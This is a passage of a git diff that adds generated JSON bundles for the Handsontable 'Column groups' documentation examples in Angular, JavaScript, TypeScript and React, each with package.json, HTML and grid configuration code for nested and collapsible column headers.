ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-groups/angular/example4.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example1.js.json new file mode 100644 index 00000000..392e5210 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column groups · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n nestedHeaders: [\n ['A', { label: 'B', colspan: 8 }, 'C'],\n ['D', { label: 'E', colspan: 4 }, { label: 'F', colspan: 4 }, 'G'],\n [\n 'H',\n { label: 'I', colspan: 2 },\n { label: 'J', colspan: 2 },\n { label: 'K', colspan: 2 },\n { label: 'L', colspan: 2 },\n 'M',\n ],\n ['N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-groups/javascript/example1.js","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-groups","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example1.ts.json new file mode 100644 index 00000000..295b67eb --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column groups · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n nestedHeaders: [\n ['A', { label: 'B', colspan: 8 }, 'C'],\n ['D', { label: 'E', colspan: 4 }, { label: 'F', colspan: 4 }, 'G'],\n [\n 'H',\n { label: 'I', colspan: 2 },\n { label: 'J', colspan: 2 },\n { label: 'K', colspan: 2 },\n { label: 'L', colspan: 2 },\n 'M',\n ],\n ['N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-groups/javascript/example1.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-groups","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example2.js.json new file mode 100644 index 00000000..803ac317 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column groups · Example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ],\n colHeaders: true,\n rowHeaders: true,\n colWidths: 60,\n height: 'auto',\n nestedHeaders: [\n ['A', { label: 'B', colspan: 8 }, 'C'],\n ['D', { label: 'E', colspan: 4 }, { label: 'F', colspan: 4 }, 'G'],\n [\n 'H',\n { label: 'I', colspan: 2 },\n { label: 'J', colspan: 2 },\n { label: 'K', colspan: 2 },\n { label: 'L', colspan: 2 },\n 'M',\n ],\n ['N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W'],\n ],\n collapsibleColumns: [\n { row: -4, col: 1, collapsible: true },\n { row: -3, col: 1, collapsible: true },\n { row: -2, col: 1, collapsible: true },\n { row: -2, col: 3, collapsible: true },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-groups/javascript/example2.js","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example2","exampleTitle":"Example","docPermalink":"/column-groups","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example2.ts.json new file mode 100644 index 00000000..700631f2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column groups · Example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5'],\n ],\n colHeaders: true,\n rowHeaders: true,\n colWidths: 60,\n height: 'auto',\n nestedHeaders: [\n ['A', { label: 'B', colspan: 8 }, 'C'],\n ['D', { label: 'E', colspan: 4 }, { label: 'F', colspan: 4 }, 'G'],\n [\n 'H',\n { label: 'I', colspan: 2 },\n { label: 'J', colspan: 2 },\n { label: 'K', colspan: 2 },\n { label: 'L', colspan: 2 },\n 'M',\n ],\n ['N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W'],\n ],\n collapsibleColumns: [\n { row: -4, col: 1, collapsible: true },\n { row: -3, col: 1, collapsible: true },\n { row: -2, col: 1, collapsible: true },\n { row: -2, col: 3, collapsible: true },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-groups/javascript/example2.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example2","exampleTitle":"Example","docPermalink":"/column-groups","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example3.js.json new file mode 100644 index 00000000..226fae3c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column groups · Choose which columns stay visible when collapsed · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// register Handsontable's modules\nregisterAllModules();\nconst container = document.querySelector('#example3');\nnew Handsontable(container, {\n data: [\n ['North America', 4200, 3800, 4500, 12500],\n ['Europe', 3100, 2900, 3300, 9300],\n ['Asia Pacific', 2600, 2400, 2800, 7800],\n ['Latin America', 1500, 1700, 1600, 4800],\n ['Middle East', 1200, 1300, 1450, 3950],\n ],\n colHeaders: true,\n rowHeaders: true,\n colWidths: 90,\n height: 'auto',\n nestedHeaders: [\n ['Region', { label: 'Q1 2025', colspan: 4 }],\n [\n 'Region',\n { label: 'Jan', visibleWhen: 'expanded' },\n { label: 'Feb', visibleWhen: 'expanded' },\n { label: 'Mar', visibleWhen: 'expanded' },\n { label: 'Total', visibleWhen: 'collapsed' },\n ],\n ],\n collapsibleColumns: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-groups/javascript/example3.js","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example3","exampleTitle":"Choose which columns stay visible when collapsed","docPermalink":"/column-groups","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example3.ts.json new file mode 100644 index 00000000..218037e0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column groups · Choose which columns stay visible when collapsed · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['North America', 4200, 3800, 4500, 12500],\n ['Europe', 3100, 2900, 3300, 9300],\n ['Asia Pacific', 2600, 2400, 2800, 7800],\n ['Latin America', 1500, 1700, 1600, 4800],\n ['Middle East', 1200, 1300, 1450, 3950],\n ],\n colHeaders: true,\n rowHeaders: true,\n colWidths: 90,\n height: 'auto',\n nestedHeaders: [\n ['Region', { label: 'Q1 2025', colspan: 4 }],\n [\n 'Region',\n { label: 'Jan', visibleWhen: 'expanded' },\n { label: 'Feb', visibleWhen: 'expanded' },\n { label: 'Mar', visibleWhen: 'expanded' },\n { label: 'Total', visibleWhen: 'collapsed' },\n ],\n ],\n collapsibleColumns: true,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-groups/javascript/example3.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example3","exampleTitle":"Choose which columns stay visible when collapsed","docPermalink":"/column-groups","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example4.js.json new file mode 100644 index 00000000..9c383221 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nnew Handsontable(container, {\n data: [\n ['$4.2M', '$3.8M', '$4.5M', '$4.1M', '$4.7M', '$5.2M'],\n ['$3.1M', '$2.9M', '$3.4M', '$3.6M', '$3.8M', '$4.0M'],\n ['$5.6M', '$5.9M', '$6.3M', '$6.1M', '$6.8M', '$7.2M'],\n ['$1.4M', '$1.6M', '$1.5M', '$1.7M', '$1.9M', '$2.1M'],\n ['$2.2M', '$2.0M', '$2.4M', '$2.5M', '$2.7M', '$2.9M'],\n ],\n colHeaders: true,\n rowHeaders: ['North America', 'Europe', 'Asia Pacific', 'Latin America', 'Middle East'],\n rowHeaderWidth: 120,\n height: 'auto',\n manualColumnMove: true,\n nestedHeaders: [\n // Q1 2025 is cohesive (the default); Q2 2025 opts into splitting.\n [\n { label: 'Q1 2025 (adopt mode)', colspan: 3 },\n { label: 'Q2 2025 (split mode)', colspan: 3, columnDropMode: 'split' },\n ],\n ['January', 'February', 'March', 'April', 'May', 'June'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-groups/javascript/example4.js","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example4.ts.json new file mode 100644 index 00000000..155c3e89 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n data: [\n ['$4.2M', '$3.8M', '$4.5M', '$4.1M', '$4.7M', '$5.2M'],\n ['$3.1M', '$2.9M', '$3.4M', '$3.6M', '$3.8M', '$4.0M'],\n ['$5.6M', '$5.9M', '$6.3M', '$6.1M', '$6.8M', '$7.2M'],\n ['$1.4M', '$1.6M', '$1.5M', '$1.7M', '$1.9M', '$2.1M'],\n ['$2.2M', '$2.0M', '$2.4M', '$2.5M', '$2.7M', '$2.9M'],\n ],\n colHeaders: true,\n rowHeaders: ['North America', 'Europe', 'Asia Pacific', 'Latin America', 'Middle East'],\n rowHeaderWidth: 120,\n height: 'auto',\n manualColumnMove: true,\n nestedHeaders: [\n // Q1 2025 is cohesive (the default); Q2 2025 opts into splitting.\n [\n { label: 'Q1 2025 (adopt mode)', colspan: 3 },\n { label: 'Q2 2025 (split mode)', colspan: 3, columnDropMode: 'split' },\n ],\n ['January', 'February', 'March', 'April', 'May', 'June'],\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-groups/javascript/example4.ts","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example1.tsx.json new file mode 100644 index 00000000..3b8fca57 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column groups · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-groups/react/example1.tsx","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-groups","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example2.tsx.json new file mode 100644 index 00000000..d27b86ab --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column groups · Example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-groups/react/example2.tsx","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example2","exampleTitle":"Example","docPermalink":"/column-groups","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example3.tsx.json new file mode 100644 index 00000000..fea67c12 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-groups__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column groups · Choose which columns stay visible when collapsed · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n 